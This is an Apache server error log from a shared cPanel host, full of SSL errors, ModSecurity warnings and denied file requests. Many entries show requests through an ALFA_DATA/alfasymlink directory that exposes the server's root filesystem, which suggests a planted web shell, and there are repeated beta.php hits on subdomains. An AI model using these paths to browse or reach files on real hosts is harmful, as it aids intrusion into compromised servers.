[Tue Oct 27 00:57:35.542237 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 98.82.66.172:9852] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:57:55.662217 2026] [ssl:error] [pid 3160385:tid 3160385] (70014)End of file found: [client 34.192.67.98:8651] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:58:11.362506 2026] [ssl:error] [pid 3161717:tid 3161717] (5)Input/output error: [client 44.213.36.21:6682] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:58:19.090208 2026] [ssl:error] [pid 3161103:tid 3161103] (70014)End of file found: [client 44.206.65.8:51200] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:58:19.801621 2026] [core:crit] [pid 3157828:tid 3157828] (13)Permission denied: [client 66.132.159.130:14008] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 00:58:21.561629 2026] [core:crit] [pid 3161717:tid 3161717] (13)Permission denied: [client 66.132.159.130:14030] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 00:58:31.517323 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 18.214.251.19:4539] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:58:50.787668 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 18.213.27.222:9486] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:58:58.764385 2026] [ssl:error] [pid 3163812:tid 3163812] (70014)End of file found: [client 34.234.197.175:9309] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:59:03.059394 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 44.218.170.184:30182] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:59:15.327498 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 18.208.11.93:48160] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:59:19.865047 2026] [ssl:error] [pid 3157802:tid 3157802] (70014)End of file found: [client 34.205.163.103:53647] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:59:22.784274 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 3.232.102.111:16476] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:59:31.209462 2026] [core:error] [pid 3161717:tid 3161717] (13)Permission denied: [client 34.234.200.207:41361] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory11/node0/memory17/subsystem/drivers_probe
[Tue Oct 27 00:59:42.489449 2026] [ssl:error] [pid 3161102:tid 3161102] (70014)End of file found: [client 54.225.199.17:50086] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:59:46.664307 2026] [ssl:error] [pid 3161716:tid 3161716] (70014)End of file found: [client 98.83.226.125:12496] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:59:58.682676 2026] [ssl:error] [pid 3157802:tid 3157802] (70014)End of file found: [client 54.88.84.219:44088] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:00:02.146922 2026] [core:error] [pid 3161102:tid 3161102] (13)Permission denied: [client 85.208.96.210:63010] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/validate
[Tue Oct 27 01:00:02.502194 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 44.215.231.15:49796] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:00:02.502422 2026] [security2:error] [pid 3157394:tid 3157394] [client 44.215.231.15:49796] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/device:05/physical_node/virtio1/driver/module/rhelversion"] [unique_id "auAv0qUuHOM_t3h_Yb4XXAAAABA"]
[Tue Oct 27 01:00:02.502456 2026] [security2:error] [pid 3157394:tid 3157394] [client 44.215.231.15:49796] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/device:05/physical_node/virtio1/driver/module/rhelversion"] [unique_id "auAv0qUuHOM_t3h_Yb4XXAAAABA"]
[Tue Oct 27 01:00:06.462058 2026] [ssl:error] [pid 3161102:tid 3161102] (70014)End of file found: [client 44.196.118.6:33250] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:00:14.460121 2026] [ssl:error] [pid 3157828:tid 3157828] (5)Input/output error: [client 18.214.124.6:39339] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:00:22.268748 2026] [ssl:error] [pid 3157802:tid 3157802] (70014)End of file found: [client 44.215.210.112:38483] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:00:26.282465 2026] [ssl:error] [pid 3163812:tid 3163812] (70014)End of file found: [client 34.192.125.239:39393] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:00:30.526949 2026] [ssl:error] [pid 3152927:tid 3152927] (70014)End of file found: [client 3.215.59.93:16487] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:00:42.222663 2026] [ssl:error] [pid 3160938:tid 3160938] (70014)End of file found: [client 3.222.85.38:20359] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:00:54.269070 2026] [ssl:error] [pid 3161716:tid 3161716] (70014)End of file found: [client 54.84.93.8:16020] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:00:58.292525 2026] [ssl:error] [pid 3161102:tid 3161102] (70014)End of file found: [client 3.232.102.111:11725] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:01:02.309459 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 3.90.73.206:51240] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:01:06.197359 2026] [core:error] [pid 3161102:tid 3161102] (13)Permission denied: [client 54.147.182.90:54285] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty32/subsystem/ttyS0/device/subsystem/drivers/intel_rapl_msr/bind
[Tue Oct 27 01:01:22.390106 2026] [ssl:error] [pid 3165124:tid 3165124] (70014)End of file found: [client 52.21.62.139:58094] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:01:34.024312 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 85.208.96.207:64070] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:01:34.320162 2026] [ssl:error] [pid 3161102:tid 3161102] (70014)End of file found: [client 50.19.79.213:53317] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:01:38.182948 2026] [ssl:error] [pid 3165077:tid 3165077] (70014)End of file found: [client 34.195.60.66:55203] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:01:38.183132 2026] [security2:error] [pid 3165077:tid 3165077] [client 34.195.60.66:55203] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/firmware_node/device:1c/sun"] [unique_id "auAwMkmJjmBAj3z9SGiL1AAAAAI"]
[Tue Oct 27 01:01:38.183167 2026] [security2:error] [pid 3165077:tid 3165077] [client 34.195.60.66:55203] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/firmware_node/device:1c/sun"] [unique_id "auAwMkmJjmBAj3z9SGiL1AAAAAI"]
[Tue Oct 27 01:01:42.353351 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 34.234.197.175:1478] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:01:58.184948 2026] [core:error] [pid 3157820:tid 3157820] (13)Permission denied: [client 52.7.13.143:6161] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory23/node0/memory4/subsystem/uevent
[Tue Oct 27 01:02:02.402652 2026] [security2:error] [pid 3157136:tid 3157136] [client 54.197.102.71:2946] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/device:11/"] [unique_id "auAwSgWuHuOgi2nQI6WKzQAAAAU"]
[Tue Oct 27 01:02:02.402701 2026] [security2:error] [pid 3157136:tid 3157136] [client 54.197.102.71:2946] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/device:11/"] [unique_id "auAwSgWuHuOgi2nQI6WKzQAAAAU"]
[Tue Oct 27 01:02:10.225536 2026] [ssl:error] [pid 3164823:tid 3164823] (70014)End of file found: [client 185.191.171.6:11772] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:02:14.512811 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 44.215.235.20:63091] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:02:18.197933 2026] [ssl:error] [pid 3163812:tid 3163812] (70014)End of file found: [client 54.235.172.96:60968] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:02:25.289574 2026] [ssl:error] [pid 3165077:tid 3165077] (70014)End of file found: [client 85.208.96.204:30996] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:02:30.249662 2026] [ssl:error] [pid 3165068:tid 3165068] (70014)End of file found: [client 44.212.106.171:48562] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:02:31.642252 2026] [security2:error] [pid 3163812:tid 3163812] [client 43.162.114.69:44182] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.parkeranders.com"] [uri "/"] [unique_id "auAwZz2bdV5g9L3giPPqYAAAAAg"]
[Tue Oct 27 01:02:35.076193 2026] [ssl:error] [pid 3165187:tid 3165187] (70014)End of file found: [client 52.7.13.143:33324] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:02:37.191381 2026] [security2:error] [pid 3165068:tid 3165068] [client 216.180.246.23:21114] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "auAwbbj8oc-oejG8VoMqVwAAAAA"]
[Tue Oct 27 01:02:37.192359 2026] [authz_core:error] [pid 3165068:tid 3165068] [client 216.180.246.23:21114] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 01:02:42.343254 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 100.29.63.24:5944] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:02:42.415513 2026] [ssl:error] [pid 3164823:tid 3164823] (70014)End of file found: [client 85.208.96.195:56992] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:02:42.557130 2026] [ssl:error] [pid 3165124:tid 3165124] (70014)End of file found: [client 85.208.96.195:56998] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:02:45.098091 2026] [authz_core:error] [pid 3165077:tid 3165077] [client 85.217.140.20:60868] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Tue Oct 27 01:02:45.608957 2026] [ssl:error] [pid 3164823:tid 3164823] (70014)End of file found: [client 185.191.171.15:53244] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:02:46.299685 2026] [ssl:error] [pid 3165124:tid 3165124] (70014)End of file found: [client 100.24.167.60:40334] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:02:50.188935 2026] [ssl:error] [pid 3165187:tid 3165187] (70014)End of file found: [client 52.6.97.88:22429] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:02:54.247213 2026] [ssl:error] [pid 3161103:tid 3161103] (70014)End of file found: [client 54.166.104.83:29930] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:03:14.196274 2026] [ssl:error] [pid 3157911:tid 3157911] (70014)End of file found: [client 3.226.34.98:23733] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:03:16.243116 2026] [security2:error] [pid 3160385:tid 3160385] [client 107.172.76.131:58195] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAwhg94XDcFr9gitB3BMQAAAAQ"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 01:03:16.243169 2026] [security2:error] [pid 3160385:tid 3160385] [client 107.172.76.131:58195] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAwhg94XDcFr9gitB3BMQAAAAQ"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 01:03:18.005781 2026] [security2:error] [pid 3161717:tid 3161717] [client 216.180.246.23:21114] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "auAwlkLtVG-easp4y840AgAAABM"]
[Tue Oct 27 01:03:18.006647 2026] [authz_core:error] [pid 3161717:tid 3161717] [client 216.180.246.23:21114] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 01:03:38.175023 2026] [ssl:error] [pid 3157911:tid 3157911] (70014)End of file found: [client 54.80.185.200:36095] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:03:42.172664 2026] [core:error] [pid 3157136:tid 3157136] (13)Permission denied: [client 54.85.109.140:48231] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/cirrus/0000:00:02.0/resource0_wc
[Tue Oct 27 01:03:46.515830 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 52.202.233.37:30225] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:03:54.148945 2026] [ssl:error] [pid 3161102:tid 3161102] (5)Input/output error: [client 52.203.237.170:16256] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:03:58.166520 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 34.206.249.188:6692] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:04:10.164577 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 54.210.152.179:18079] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:04:22.182652 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 52.0.105.244:9279] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:04:30.976083 2026] [security2:error] [pid 3165124:tid 3165124] [client 216.180.246.23:21114] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "auAw3q22cEooEhp8IKd0xwAAAAk"]
[Tue Oct 27 01:04:30.976916 2026] [authz_core:error] [pid 3165124:tid 3165124] [client 216.180.246.23:21114] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 01:04:38.183040 2026] [ssl:error] [pid 3165068:tid 3165068] (70014)End of file found: [client 44.217.177.142:28284] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:04:50.167597 2026] [ssl:error] [pid 3165124:tid 3165124] (70014)End of file found: [client 54.157.99.244:51533] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:04:54.155378 2026] [ssl:error] [pid 3163812:tid 3163812] (70014)End of file found: [client 184.73.239.35:3194] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:05:02.166228 2026] [ssl:error] [pid 3163812:tid 3163812] (70014)End of file found: [client 3.229.164.203:57561] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:05:06.175895 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 3.211.105.134:25914] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:05:07.988421 2026] [security2:error] [pid 3157828:tid 3157828] [client 107.172.76.131:58186] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAw-MzQS_MM43TPSbygNgAAAA8"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Tue Oct 27 01:05:07.988499 2026] [security2:error] [pid 3157828:tid 3157828] [client 107.172.76.131:58186] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAw-MzQS_MM43TPSbygNgAAAA8"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Tue Oct 27 01:05:26.376311 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 44.207.207.36:1206] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:05:30.205615 2026] [ssl:error] [pid 3165078:tid 3165078] (70014)End of file found: [client 52.204.89.12:14015] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:05:42.156951 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 3.93.211.16:36917] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:05:43.089586 2026] [security2:error] [pid 3164823:tid 3164823] [client 216.180.246.23:21114] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "auAxJzoDckKnHHUz0sTLlQAAAA0"]
[Tue Oct 27 01:05:43.090455 2026] [authz_core:error] [pid 3164823:tid 3164823] [client 216.180.246.23:21114] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 01:05:45.048173 2026] [security2:error] [pid 3160385:tid 3160385] [client 107.172.76.131:58195] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAxGw94XDcFr9gitB3BOwAAAAQ"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 01:05:45.048221 2026] [security2:error] [pid 3160385:tid 3160385] [client 107.172.76.131:58195] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAxGw94XDcFr9gitB3BOwAAAAQ"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 01:05:52.765345 2026] [proxy_fcgi:error] [pid 3157136:tid 3157136] [client 37.131.59.133:32218] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 01:05:54.157994 2026] [ssl:error] [pid 3165078:tid 3165078] (70014)End of file found: [client 100.29.160.53:19771] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:06:06.294777 2026] [ssl:error] [pid 3165581:tid 3165581] (70014)End of file found: [client 44.205.192.249:23207] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:06:07.277894 2026] [security2:error] [pid 3157802:tid 3157802] [client 107.172.76.131:58184] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAxM1gfnVkvbQQfJ-pA5QAAAAo"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 01:06:07.277955 2026] [security2:error] [pid 3157802:tid 3157802] [client 107.172.76.131:58184] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAxM1gfnVkvbQQfJ-pA5QAAAAo"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 01:06:07.554252 2026] [security2:error] [pid 3157136:tid 3157136] [client 185.191.171.8:50778] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/authselect/default/nis/dconf-locks"] [unique_id "auAxPwWuHuOgi2nQI6WK3QAAAAU"]
[Tue Oct 27 01:06:07.554337 2026] [security2:error] [pid 3157136:tid 3157136] [client 185.191.171.8:50778] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/authselect/default/nis/dconf-locks"] [unique_id "auAxPwWuHuOgi2nQI6WK3QAAAAU"]
[Tue Oct 27 01:06:07.816939 2026] [core:crit] [pid 3165078:tid 3165078] (13)Permission denied: [client 216.180.246.23:36924] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 01:06:11.288687 2026] [core:error] [pid 3161103:tid 3161103] (13)Permission denied: [client 85.208.96.200:28592] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/gssproxy.pid
[Tue Oct 27 01:06:14.255852 2026] [core:error] [pid 3157136:tid 3157136] (13)Permission denied: [client 44.205.120.22:46759] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/new_id
[Tue Oct 27 01:06:18.195710 2026] [ssl:error] [pid 3161103:tid 3161103] (70014)End of file found: [client 23.21.119.232:22960] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:06:22.167223 2026] [ssl:error] [pid 3165580:tid 3165580] (70014)End of file found: [client 34.225.138.57:16970] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:06:26.181452 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 54.157.99.244:47933] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:06:34.028556 2026] [authz_core:error] [pid 3157136:tid 3157136] [client 206.189.197.22:54864] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 01:06:34.057679 2026] [authz_core:error] [pid 3157820:tid 3157820] [client 216.180.246.23:64728] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 01:06:34.157033 2026] [ssl:error] [pid 3165068:tid 3165068] (70014)End of file found: [client 54.157.99.244:21421] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:06:38.328480 2026] [ssl:error] [pid 3157802:tid 3157802] (70014)End of file found: [client 44.223.116.149:56872] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:06:38.831279 2026] [cgi:error] [pid 3157820:tid 3157820] [client 216.180.246.23:64728] AH02811: stderr from /home/cursodeventas/public_html/cgi-bin: script not found or unable to stat
[Tue Oct 27 01:06:50.350577 2026] [ssl:error] [pid 3165068:tid 3165068] (70014)End of file found: [client 54.147.80.137:37023] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:07:02.302242 2026] [ssl:error] [pid 3165068:tid 3165068] (70014)End of file found: [client 54.209.100.30:54511] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:07:06.246442 2026] [security2:error] [pid 3157136:tid 3157136] [client 185.191.171.4:23782] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/elgg4/php81/extend.php"] [unique_id "auAxegWuHuOgi2nQI6WK4wAAAAU"]
[Tue Oct 27 01:07:06.246483 2026] [security2:error] [pid 3157136:tid 3157136] [client 185.191.171.4:23782] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/elgg4/php81/extend.php"] [unique_id "auAxegWuHuOgi2nQI6WK4wAAAAU"]
[Tue Oct 27 01:07:14.158158 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 44.193.102.198:21054] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:07:22.980032 2026] [security2:error] [pid 3164823:tid 3164823] [client 107.172.76.131:58224] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAxgToDckKnHHUz0sTLmQAAAA0"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 01:07:22.980080 2026] [security2:error] [pid 3164823:tid 3164823] [client 107.172.76.131:58224] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAxgToDckKnHHUz0sTLmQAAAA0"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 01:07:30.144859 2026] [core:error] [pid 3157828:tid 3157828] (13)Permission denied: [client 52.44.174.136:9660] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu1/node0/memory3/subsystem/uevent
